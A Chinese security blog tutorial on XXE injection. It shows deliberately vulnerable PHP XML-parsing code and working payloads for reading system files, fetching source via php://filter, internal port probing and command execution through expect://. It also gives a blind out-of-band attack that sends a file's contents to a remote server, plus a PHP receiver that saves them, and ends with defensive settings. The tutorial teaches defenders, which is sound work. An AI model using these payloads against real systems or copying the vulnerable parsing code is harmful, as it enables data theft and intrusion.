boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

XXE漏洞


avatar
yuhui 2025年10月24日 25

XXE 漏洞

概述

XML 外部实体注入(XML External Entity)简称 XXE 漏洞XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。

<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>

常见的 XML 语法结构如下

其中,文档定义类型(DTD)可以是内部声明也可以引用外部 DTD。

内部声明 DTD 格式:<!DOCTYPE 根元素 [元素声明]>。

引用外部 DTD 格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。

在 DTD 中进行实体说明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷

方式的变量。实体可在内部或外部进行声明。

内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。

引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。

SYSTEM、PUBLIC 对外部资源进行申请。

由于 xxe 漏洞主要是利用了 DTD 引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。当libXML <libxml2.9 才会造成外部注入漏洞。

1746426666189-59244e49-2fe3-4e38-8f2c-df076ee7ce68.png

语法引用外部的实体,而非内部实体,那么 URI 中能写哪些类型的外部实体呢?

主要的有 file、http、https、ftp 等等,当然不同的程序支持的不一样:

1746426679092-4fe16264-58f7-44b6-a677-e685386f8707.png

XXE漏洞代码分析

案例1

<?php
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML 声明、DTD 文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>

获取 post 的 xml 文件 传递到 simplexml_load_string 再进行输出会遭成 xxe 注入测试的 payload

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> &f;

1746426742860-20ef9144-769a-4f8c-907d-5b54e4f927b5.png

案例2

<?php
$string_xml = '<?xml version="1.0"
encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml
实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>

获取 xml 变量 创建 dom 对象 转入 xml 进行处理输出。

simplexml_load_string() 函数把 XML 字符串载入对象中

XXE漏洞攻击

有回显

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]>&b;

xxe 漏洞常用利用

1.读取敏感文件

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>&b;

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM

"file:///C:/Windows/win.ini">]>&b;

url 编码

读取 windows 文件

http://127.0.0.1/xxe.php?xml=<%3fxml version%3d"1.0"%3f><!DOCTYPE%20 a%20 [<!ENTITY b SYSTEM

"file%3a%2f%2f%2fC%3a%2fWindows%2fwin.ini">]>%26b%3b<%2fc>

1746426852539-89837edd-40cc-454a-ad70-2ce149efe7f4.png

linux 就读取/etc/passwd 文件进行测试

2.使用 php 伪协议 php://filter 读取文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php" >]>

&xxe;

http://127.0.0.1/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%20%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%70%68%70%69%6e%66%6f%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d

1746426891324-521d1252-61ba-4069-adf3-3e80af74cfac.png

3.扫描内网和端口

通过扫描 ip 和端口确定内网机器的 ip 和端口开发情况,访问端口会获取 baner 信息

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "http://127.0.0.1:80">

]>

&test;

http://127.0.0.1/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e

1746426921077-855e7a4a-cca7-49fa-9447-5da335f46af0.png

4.执行命令

若开启 expect 扩展

http://webpenter.com/xxe.php?xml=<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "expect://whoami">

]>

&test;

无回显

称为 blind xxe 可以使用外带数据通道 提取数据

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///C:/1.txt">

<!ENTITY % remote SYSTEM "http://192.168.0.107/evil.xml">

%remote;

%all;

]>

&send;

远程服务器上的

evil.xml 文件内容

<!ENTITY % all "<!ENTITY send SYSTEM ‘http://192.168.0.107/1.php?file=%file;’>">

<?php file_put_contents("1.txt", $_GET[‘file’]); ?>

http://127.0.0.1/xxe.php?xml=%3C%3fxml%20version%3d%221.0%22%3f%3E%0A%3C!DOCTYPE%20ANY[%0A%3C!ENTITY%20%25%20file%20SYSTEM%20%22file%3a%2f%2f%2fC%3a%2f1.txt%22%3E%0A%3C!ENTITY%20%25%20emote%20SYSTEM%20%22http%3a%2f%2f192.168.0.146%2fevil.xml%22%3E%0A%25remote%3b%0A%25all%3b%0A]%3E%0A%3Croot%3E%26send%3b%3C%2froot%3E

1746427003946-1fe592b5-4922-4e5f-8605-f07db4277488.png

文件写入成功。获取 1.txt 内容。

XXE防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的 XML 数据

关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC

3.升级 libxml 组件

更新: 2025-05-05 14:37:42
原文: https://www.yuque.com/yuhui.net/network/rib38l5oock11gm2



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码